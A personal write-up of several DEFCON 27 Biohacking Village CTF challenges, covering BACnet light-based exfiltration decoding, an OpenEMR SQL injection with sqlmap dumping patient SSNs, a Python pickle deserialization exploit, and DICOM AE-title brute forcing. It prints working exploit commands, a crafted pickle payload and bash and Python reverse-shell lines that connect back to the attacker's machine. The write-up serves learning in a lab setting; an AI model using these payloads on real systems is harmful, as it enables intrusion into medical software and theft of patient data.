This is a write-up of some of the challenges at the DEFCON 27 Biohacking Village CTF.
I didn't plan on joining a CTF, but I ended up getting sucked in and spending the next 2 days on it. The instant gratification of ranking on the scoreboard offered a better rush than any Las Vegas casino game. I ended up getting 2nd place, and considering I was completely unprepared, I'm very happy with it.
Despite meddling with the competitive programming world, this was my first CTF. I didn't keep notes in preparation of a write-up, and as such, this is a partial write-up of some of the most memorable challenges I solved. I go in detail on my thought process for solving some of these challenges, including any erroneous routes.
A CTF (Capture The Flag) is a competition, usually hosted at information security conferences. It's a set of challenges of increasing difficulty, across various skills (reverse engineering, crypto, network analysis, etc). Solving an individual challenge, means finding a βflagβ π© that's either the result of some computation, or hidden somewhere in a targeted system (software, hardware, hints hidden in the room). You can play alone, or you can form a team.
Following along
This post is meant for someone with engineering background, but with little knowledge of infosec or CTF particulars.
If you have some systems engineering background, you should be able to follow along my instructions--I have even made some Docker images for you to attack!
If you have any questions, {{< twitter-tweet-at-me >}}.
Biohacking Village at DEFCON
The CTF organizers at the Biohacking Village took a lot of time to build a fun theme that was welcoming to challengers of all levels, and the CTF theme was eminent throughout the Biohacking Village room. The imaginary St. Martin's Hospital was under attack in all kinds of ways--and the room was decorated like a hospital, complete with a pharmacy, all kinds of working medical devices, and even a gurney (that was part of a physical/puzzle challenge)! Contestants were kept on their toes for all 20 hours of the CTF, as challenges were unlocked gradually.
pcap challenges
Many of the first round challenges required a basic understanding of the underlying protocols, such as BACNET, and DICOM.
Several of the challenges provided you a Wireshark pcap file, and tasked you to identify specific interactions in the network--for example, the client name used during a DICOM authentication attempt, or the pcap index at which an attack first appeared.
Even if you had zero prior knowledge, looking around carefully in Wireshark along with some Google searches was sufficient to lead you to the right answer.
One of these challenges indicated that the flag was hidden in someone's BACNET authentication attempt--the provided pcap was Are_you_my_mother.pcapng. Go get Wireshark (or just brew cask install wireshark
on your Mac) and use bacnet
as a filter---you can try finding the flag too!
Some of the challenges exchanged traffic in non-standard ports--remembering to correctly map a custom port to a known protocol was essential to solving these challenges.
As these challenges were solved, more challenges were unlocked requiring SQL injection and reverse engineering skills.
Data Exfiltration via IoT Lights
Introductionβ
My favorite challenge was the "Light Exfil" challenge. The task prompt read:
A malicious actor has gained access to the hospitalβs networks. Using the lighting system, the attacker is exfiltrating data by slightly fluctuating the lighting brightness and collecting the data with a phototransistor directed at an external window from the adjacent parking structure. The attached pcap file is a small portion of the stolen data. You have to determine the binary data which was exfiltrated.
Answer the question below to demonstrate an understanding of the attack.
What ASCII data are they trying to exfil through the lights?
This is very similar to some of the airgap-jumping exflitration attacks described by Mordechai Guri.
A Wireshark pcap file was provided for analysis: bacnetlightingxfil.pcap.
Go get Wireshark (or just brew cask install wireshark
on your Mac) and follow along! C'mon!
By opening the pcap file in Wireshark and filtering for bacnet
, I was greeted with 1590 packets:
{{< image src="bacnetlightingxfil-screencap1.png" >}}
Identifying the signalβ
By scrolling around, I noticed a handful of writeProperty
and confirmedPrivateTransfer
packets standout among all the read operations.
To filter only for the requests (Confirmed-REQ
s, as opposed to Simple-ACK
s), and then consecutively for writeProperty
and confirmedPrivateTransfer
I used these filters:
(bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 18)
(bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 15)
The results were interesting:
confirmedPrivateTransfer
(confirmed_service == 18
) yielded 84 packetswriteProperty
(confirmed_service == 15
) yielded 32 packets- 32 happens to represent 4 bytes in binary
- A bit short for a flag, but not impossible, especially if the CTF author intended for this to be solved by hand.
Furthermore, some research into controlling lights via BACNET indicated writeProperty
would be indeed how you'd fluctuate brightness. However, at this point, I wasn't entirely certain writeProperty
was the right path.
I couldn't find a trivial way to export the values from Wireshark, and in trying to plan for a future where I had to decode the confirmedPrivateTransfer
packets, I cooked up a Python script utilizing pyshark
to work with the pcap file.
Running
#!/usr/local/bin/python3
import binascii
import pyshark
set_brightness_cap = pyshark.FileCapture('bacnetlightingxfil.pcap',
display_filter='bacnet && (bacapp.confirmed_service == 15) && (bacapp.type == 0)'
)
vals = [ int(packet.bacapp.present_value_real) for packet in set_brightness_cap ]
print("\t".join(map(str, vals)))
yielded:
90 89 100 99 90 89 100 90 89 90 100 99 90 89 90 89 90 89 100 99 90 89 90 100 90 89 100 99 100 90 89 100
This seems very promising! At first hand, the existence of 4 digits (89, 90, 99, 100) went against my expectations for a binary encoding scheme, so I plotted the values:
{{< image src="bacnetlightingxfil-plot.png" >}}
Decoding the signalβ
I lost some time considering alternative encodings, such as ternary encodings, because 4 bytes for a flag seemed too small. π Keep It Simple Stupid and iterating through your assumptions was key here.
Using multiple brightnesses for each binary digit would make sense. It'd be easier for a photoresistor to detect a change in brightness than to precisely count how many seconds of 100
brightness it saw.
There is some obvious grouping in the values above---using 95 as a threshold, we translate them to binary digits:
encoded_bits = [ 1 if x>95 else 0 for x in vals ]
And then we convert the binary to ASCII with:
n = int('0b%s' % "".join(map(str, encoded_bits)), 2)
res = binascii.unhexlify('%x' % n)
print(res)
which yields:
b'2019'
2019
was indeed the flag π©, which got me another 200 points π!
OpenEMR (SQL Injection)
Introduction & how to follow alongβ
Another challenge involved reproducing data exfiltration from an OpenEMR instance. The prompt was clear on what the flag was--a patient's social security number. Contestants were given access to a shared OpenEMR installation on the CTF's local network.
To follow along:
A quick aside, for you π»π±s: if you want to follow along, you can quickly bring up a vulnerable OpenEMR I made for you at at http://localhost:8666/ via Docker by running:
git clone https://gitlab.com/ianatha/vulnerable-openemr.git && cd vulnerable-openemr && docker-compose up
This isn't the same OpenEMR used at the CTF, but it's sufficiently vulnerable to follow along my methodology here. The instructions here refer to the vulnerable OpenEMR my Docker image provides at
localhost:8666
so you can follow along.Looking through the Docker image instructions reveals passwords. The idea is to treat the instantiated Docker container as a black box, accessible only over the network.
Let's learn about a bit about the tooling and the thinking behind taking advantage an SQL injection vulnerability!
Looking for a way inβ
A quick search revealed that many listed vulnerabilities exist for OpenEMR (and it's written in PHP).
I tried some default usernames and passwords (admin
/pass
and the like), but that didn't seem to work. Talking with the CTF designers later on, I learned that were were other defaultish accounts (such as clinician
with default passwords), which could have simplified this task, without resorting to SQL injection.
Next up, it was important to identify the exact version of OpenEMR the CTF environment was using. OpenEMR is open-source, so I cloned their repo, and looked around for interesting files that could disclose a version string. admin.php
and setup.php
stood out.
admin.php
indeed disclosed what version of OpenEMR the CTF was running, which helped me find known vulnerabilities.
{{< image src="openemr-1.png" >}}
CVEDetails.com lists many remotely-exploitable no-authentication-needed vulnerabilities.
I spent sometime looking into the pull request that fixed an SQL injection vulnerability in interface/forms/eye_mag/save.php. It seemed feasible, but the execution path to trigger the vulnerability had a variety of variables that needed to be set.
I looked for different SQL injection vulnerabilities, and a CVE of multiple SQL injections and authentication bypasses, CVE-2018-15152, stood out. The portal/add_edit_event_user.php patch seemed particularly interesting, because it wasn't in nested ifs, and little code preceded it---this meant triggering the faulty code-path should be easier.
The vulnerability I'm trying to take advantage is this:careless code in portal/add_edit_event_user.php
injects whatever eid
input I give it into SQL code that's sent to the database, without any escaping. This means that a carefully crafted eid
input can cause the MySQL server to execute code that it thinks is coming from the application.
Let's try to exploit that!
Running curl -v http://localhost:8666/portal/add_edit_event_user.php
redirects us to an authentication page π.
< HTTP/1.1 302 Found
< Set-Cookie: PHPSESSID=4a927fc0c27b0c4ecb48f9962deb2d66; path=/
< Location: index.php?site=&w
[...]
At this point, I decided to clone OpenEMR at the commit right before they fixed the vulnerability: git clone https://github.com/openemr/openemr.git && cd openemr && git checkout f5310b22bb14c58063aecb1cad4655e885eba275
.
The vulnerable code at line 26 requires for the pid
(I'm guessing patient id) variable to be set in the session, before the rest of the code is executed. To successfully leverage eid
's vulnerability, we need to have a pid
set in the session. Session variables are usually set by server-side code, so...
I ran grep -Ri "_SESSION\['pid'\] =" *
in openemr/portal
to see where this pid
gets set:
account/register.php:$_SESSION['pid'] = true;
get_patient_info.php: $_SESSION['pid'] = $auth['pid'];
index.php: $_SESSION['pid'] = true;
account/register.php
seems like a very interesting possibility. Let's just try going to portal/account/register.php
, keeping the session cookie, and then going to portal/
add_edit_event_user.php`:
curl --cookie-jar gimmepid.cookies -v http://localhost:8666/portal/account/register.php
curl --cookie gimmepid.cookies -v http://localhost:8666/portal/add_edit_event_user.php
Success π! The last curl call returned a bunch of HTML, which looks like a user interface for editing an appointment! We've bypassed the minimal authentication check in add_edit_event_user.php
!
Let's make sure that eid
is indeed injectable by injecting some bad SQL: curl --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=\'
:
Query Error
ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = '--Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''--' at line 4/var/www/localhost/htdocs/openemr/portal/add_edit_event_user.php at 121:sqlQuery
Sweet! Not only does our input, eid
, make it directly to the MySQL server, but we have a direct view of the error the MySQL server returns. This will make things a lot easier! We now have a legitimate way into the database!
Discovering sqlmapβ
At this point of time, I was trying things manually, using curl
. I eventually discovered sqlmap which is an automatic SQL injection and database takeover tool. It greatly helped with the next stage!
For sqlmap to work, it needs an example request to attempt SQL injections against. The request we generated via curl
above will do, but we need it in a file. There are easier ways to do this, but I just ran curl -v --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=1 2>&1 | grep "^>"
and trimmed the >
prefix. The resulting eidinject.req
file looked like this:
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: localhost:8666
Accept: */*
Cookie: PHPSESSID=7c843b79daa05ad988fc7911e25d2812
Finding the flagβ
An invocation of sqlmap eidinject.req --threads=10 --tables
quickly revealed that eid
is easily injectable to a MySQL server, with some very interesting table names. The task was clear that we needed to find a specific patient's social security number, which seems to be stored in the ss
column in patient_data
.
To retrieve it: sqlmap -r eidinject.req --threads=10 -D openemr -T patient_data --dump
. (Try following along with the Docker image---I hid an SSN in the database).
{{< image src="openemr-2.png" >}}
MedMonitor
Another interesting challenge involved "MedMonitor", a custom webapp that tracked patient's data from medical devices. It was written in Python with a Microsoft SQL backend, and the source code of the app was shared in the CTF: MedMonitor.py
The challenge was broken into 3 parts--the last part involved reverse engineering a medical device's firmware, I didn't get to it, and it won't be covered here.
Part 1 - SQL Injection without verbose errorsβ
The first task of the challenge directed you to find some data hidden in the webapp's database. It was another SQL injection task, although this time the errors returned by the webapp weren't as detailed, so queries were a bit harder to execute. The key SQL injection point was the New Patient form.
sqlmap
seemed to be extracting data character-by-character, and I felt like I didn't have time to go through its documentation. I realized that a way to exflitrate data would be to do SELECT
queries, have their result be a single string, and have that used as the New Patient's name, SSN, etc.
After some scrambling with Microsoft SQL-specific queries, I eventually discovered a table called flag
with something flag-like in it. When I submitted it the system rejected it, and I got extremely anxious. I was very certain that this was the flag, so I alerted the CTF organizers who fixed a configuration error, and asked me to resubmit the flag. π© 150 more points!
Part 2 - Remote Code Executionβ
This part was more interesting than the last one. The flag was somewhere in the filesystem, and the webapp's source code was known. I took a look at the entirety of the shared source code, and noticed that the import pickle
. Unpickling user-supplied values in Python can cause remote code execution, because the the unpickling protocol can encode any Python operation, not just values!
An abbreviated medmonitor.py
that just unpickles user-supplied input, without needing to access a Microsoft SQL server is:
{{< gist ianatha 26d2860543af7c114e1a692f444ca78c >}}
(You can follow along by downloading this and running it!)
Our task now becomes to start a reverse shell using that ingress vector.
I had a lot of trouble with this--- although some "bombs" (carefully crafted data to cause the unpickling process to do something to the system) worked locally, when I tried applying to the CTF environment they'd fail. Not having any kind of verbose error output made this very difficult.
My initial goal was to run bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1
which would cause a bash
session on the MedMonitor server to be forwarded to me.
Using some random blog as a reference I hand crafted a pickle that would execute os.system("bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1")
.
This was failing, and I'm assuming it's because the MedMonitor server was running in Docker, or something with a limited /dev
device tree.
Since the webapp is in Python, for a while I tried causing Python to start a remote shell by causing it to execute:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.123",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
However, I couldn't find a trivial way to import
custom classes in the pickle protocol, so I resorted to causing the pickle to run os.system
with python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
.
The pickle for that is:
cos
system
(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.218",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.
While I was iterating through the pickle bomb, I wrote a quick Python script to submit it:
import requests
import base64
data = open("bomb.pickle", "r").read()
encoded = base64.b64encode(data)
PARAMS={
'token': encoded,
'patient_name': "test",
'patient_data': "lol"
}
# r = requests.get("http://192.168.0.4:41847/register_patient", params = PARAMS)
r = requests.get("http://localhost:5001/register_patient", params = PARAMS)
Using the aforementioned picklebomb I was able to start a reverse shell to my machine. A file at /flag/flag.txt
was the obvious place to look for a flag! π© 200 more points!
DICOM Authentication Challenge
In this task, you were confronted with an insecurely configured PACS server (Orthanc, in particular), and you were asked to prove it's vulnerable by finding the Referring Physician's Name for a patient study.
π‘Attending other events by the CTF organizers can be useful! In one of the workshops one of CTF organizers held, many DICOM weaknesses were discussed.
At the workshop I learned that DICOM authentication is very weak--it only depends on knowing the server name (Application Entity Title, or AE Title, or AET) and the client name (Client AE Title).
The task prompt included a pentest report, which included several hints. The first was that the PACS server's uses a predictable AET, and that the server's name is hippocrates
.
This made me suspect that the Server AET was a variation of hippocrates
, so I used the git version of ncrack to try out some obvious variations. This was something I learned to do just a day before, by attending a workshop held by one of the CTF organizers, @ithilgore!
Having confirmed that the Server AET is indeed hippocrates
, the next step would be to brute-force the Client AET, and extract the Referring Physician's Name.
The skeleton for this code was worked on during the aforementioed workshop, and it ended up looking like this:
A big portion of making this code work was around making it multi-threaded with timeouts, because in case of a failed authentication pydicom
times out after several seconds, instead of returning immediately with an authentication error.
My strategy was to run my script in iterations, with a limited alphabet---all uppercase, all lowercase, combination of these, and then numbers. This seemed to map the most likely formats of hostnames.
It was a winning strategy, because after a short whole of running with only uppercase, I discovered that an acceptable Client AET was BRAD
. Not a random name... this was the name of the IT person who insecurely configured the PACS server to begin with, and it was mentioned several times in the pentest report π.
π‘ Reminder for next time: try obvious values, and read between the lines of the CTF artifacts better.
Recap
Ultimately, I ranked 2nd, behind a very talented team of four pentesters from a Big Four firm.
{{< tweet 1160757264614973447 >}}
The winners won a BladeRF XA4 and eternal bragging rights! Congratulations again!
- Things going for me
- Prior knowledge of BACNET protocol
- Attending a Biohacking Village workshop, and learning a bit about DICOM before the CTF
- Having friends in the room
- Things against me and ways to improve it
- Slow connection to the CTF network
- An Ethernet adapter for my USB-C-only MacBook would've helped
- Slow connection to the Internet
- Hotspot in a setup that allows concurrent access to CTF network and Internet
- Team of one
- Recruit folks ahead of time
- No strategy
- π‘ Withhold flags until key points of time (end of each day, end of the CTF) to induce complacency in other teams
- Getting coffee, or anything to drink took forever
- Bring a six-pack of Red Bull
- Slow connection to the CTF network
Thank you to @DC_BHV, @ithilgore, @DaniloNC, @beauwoods, and all the organizers for this year's Biohacking Village, and the awesome CTF!
{{< twitter-follow >}} for more interesting stories on infosec!